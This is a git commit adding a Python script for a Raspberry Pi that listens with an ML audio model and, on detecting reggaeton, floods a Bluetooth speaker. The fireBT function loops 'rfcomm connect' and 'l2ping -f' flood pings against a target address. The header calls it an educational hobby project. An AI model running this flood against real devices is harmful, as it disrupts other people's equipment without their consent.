Add files via upload
This commit is contained in:
parent
aa5a5bf73e
commit
67c6591b14
|
|
@ -0,0 +1,188 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Reggaeton Be Gone
|
||||
# Roni Bandini @RoniBandini https://bandini.medium.com
|
||||
# February 2024 V 1.0 (Sucio y Desprolijo, as Pappo said)
|
||||
# MIT License (c) 2024 Roni Bandini
|
||||
# Disclaimer: this is an educational project. Use with your own BT speakers only.
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys, getopt
|
||||
import signal
|
||||
import time
|
||||
import datetime
|
||||
from edge_impulse_linux.audio import AudioImpulseRunner
|
||||
from RPi import GPIO
|
||||
import Adafruit_GPIO.SPI as SPI
|
||||
import Adafruit_SSD1306
|
||||
from PIL import Image
|
||||
from PIL import ImageDraw
|
||||
from PIL import ImageFont
|
||||
|
||||
# Settings
|
||||
myPath="/home/pi/reggaeton/"
|
||||
selectedDeviceId = 1
|
||||
method = 1 # 1 to 3
|
||||
targetAddr = ":::::"
|
||||
packagesSize = 800
|
||||
threadsCount = 1000
|
||||
threshold = 0.95
|
||||
myDelay = 0.1
|
||||
forceFire = 0
|
||||
model = "reggaetonbgone-linux-armv7-v4.eim"
|
||||
|
||||
runner = None
|
||||
|
||||
# Push button
|
||||
GPIO.setwarnings(False)
|
||||
GPIO.setmode(GPIO.BCM)
|
||||
buttonPin = 26
|
||||
GPIO.setup(buttonPin, GPIO.IN, pull_up_down=GPIO.PUD_UP)
|
||||
|
||||
# Oled screen
|
||||
RST = None
|
||||
DC = 23
|
||||
SPI_PORT = 0
|
||||
SPI_DEVICE = 0
|
||||
disp = Adafruit_SSD1306.SSD1306_128_32(rst=RST)
|
||||
disp.begin()
|
||||
disp.clear()
|
||||
disp.display()
|
||||
font = ImageFont.truetype('whitrabt.ttf', 12)
|
||||
width = disp.width
|
||||
height = disp.height
|
||||
image = Image.new('1', (width, height))
|
||||
draw = ImageDraw.Draw(image)
|
||||
draw.rectangle((0,0,width,height), outline=0, fill=0)
|
||||
padding = -2
|
||||
top = padding
|
||||
bottom = height-padding
|
||||
x = 0
|
||||
|
||||
# Speaker logo
|
||||
image = Image.open(myPath+'images/logo.png').convert('1')
|
||||
disp.image(image)
|
||||
disp.display()
|
||||
time.sleep(5)
|
||||
|
||||
def writeLog(myLine):
|
||||
now = datetime.datetime.now()
|
||||
dtFormatted = now.strftime("%Y-%m-%d %H:%M:%S")
|
||||
with open('log.txt', 'a') as f:
|
||||
myLine=str(dtFormatted)+","+myLine
|
||||
f.write(myLine+"\n")
|
||||
|
||||
def updateScreen(message1, message2):
|
||||
image = Image.new('1', (width, height))
|
||||
draw = ImageDraw.Draw(image)
|
||||
draw.rectangle((0,0,width,height), outline=0, fill=0)
|
||||
padding = -2
|
||||
x = 0
|
||||
top = padding
|
||||
bottom = height-padding
|
||||
draw.text((x, top+4), "Reggaeton BeGone", font=font, fill=255)
|
||||
draw.text((x, top+16), message1, font=font, fill=255)
|
||||
draw.text((x, top+26), message2, font=font, fill=255)
|
||||
disp.image(image)
|
||||
disp.display()
|
||||
|
||||
def fireBT(method, targetAddr, threadsCount, packagesSize, myDelay):
|
||||
|
||||
writeLog("Firing with method #"+str(method)+ ", pkg "+ str(packagesSize) +', target ' + targetAddr)
|
||||
|
||||
if method==1:
|
||||
# Small, are you there?
|
||||
for i in range(0, threadsCount):
|
||||
print('[*] ' + str(i + 1))
|
||||
subprocess.call(['rfcomm', 'connect', targetAddr, '1'])
|
||||
time.sleep(myDelay)
|
||||
|
||||
if method==2:
|
||||
# Medium, I think you should listen
|
||||
for i in range(0, threadsCount):
|
||||
print('[*] ' + str(i + 1))
|
||||
os.system('l2ping -i hci0 -s ' + str(packagesSize) +' -f ' + targetAddr)
|
||||
time.sleep(myDelay)
|
||||
|
||||
if method==3:
|
||||
# XXL, Say hello to my little friend
|
||||
for i in range(0, threadsCount):
|
||||
print('[*] Sorry, Scarface method is not included in this version ' + str(i + 1))
|
||||
time.sleep(myDelay)
|
||||
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
print('Interrupted')
|
||||
writeLog("Interrupted")
|
||||
if (runner):
|
||||
runner.stop()
|
||||
sys.exit(0)
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
def main(argv):
|
||||
|
||||
dir_path = os.path.dirname(os.path.realpath(__file__))
|
||||
modelfile = os.path.join(dir_path, model)
|
||||
|
||||
print("")
|
||||
print("Reggaeton Be Gone 1.0")
|
||||
print("@RoniBandini, February 2024")
|
||||
print("Sounds are quite innoxious, or most distressing, by their sort rather than their quantity - Jane Austen")
|
||||
print("Waiting for button...")
|
||||
print("")
|
||||
print("")
|
||||
|
||||
writeLog("Started")
|
||||
|
||||
# Display
|
||||
updateScreen(targetAddr, "Method #"+str(method))
|
||||
time.sleep(3)
|
||||
|
||||
# Olmedo, No toca botón
|
||||
while GPIO.input(buttonPin) == GPIO.HIGH:
|
||||
time.sleep(1)
|
||||
|
||||
writeLog("Listening")
|
||||
|
||||
updateScreen(targetAddr, "Listening...")
|
||||
print("Listening...")
|
||||
|
||||
with AudioImpulseRunner(modelfile) as runner:
|
||||
try:
|
||||
model_info = runner.init()
|
||||
labels = model_info['model_parameters']['labels']
|
||||
print('Loaded AI-ML model "' + model_info['project']['owner'] + ' / ' + model_info['project']['name'] + '"')
|
||||
writeLog("AI model "+model_info['project']['name'])
|
||||
|
||||
for res, audio in runner.classifier(device_id=selectedDeviceId):
|
||||
|
||||
for label in labels:
|
||||
score = res['result']['classification'][label]
|
||||
|
||||
if label=='reggaeton' and score<=threshold:
|
||||
print('%s: %.2f\t' % (label, score))
|
||||
updateScreen("Is reggaeton?", str(round(score*100,2))+" %")
|
||||
|
||||
if label=='reggaeton' and (score>threshold or forceFire==1):
|
||||
|
||||
updateScreen("Firing speaker", "Score: "+ str(round(score*100,2))+" %" )
|
||||
writeLog("Firing threshold: "+str(score))
|
||||
time.sleep(4)
|
||||
|
||||
image = Image.open(myPath+'images/logo.png').convert('1')
|
||||
disp.image(image)
|
||||
disp.display()
|
||||
|
||||
fireBT(method, targetAddr, threadsCount, packagesSize, myDelay)
|
||||
|
||||
print('')
|
||||
|
||||
finally:
|
||||
if (runner):
|
||||
runner.stop()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv[1:])
|
||||
Loading…
Reference in New Issue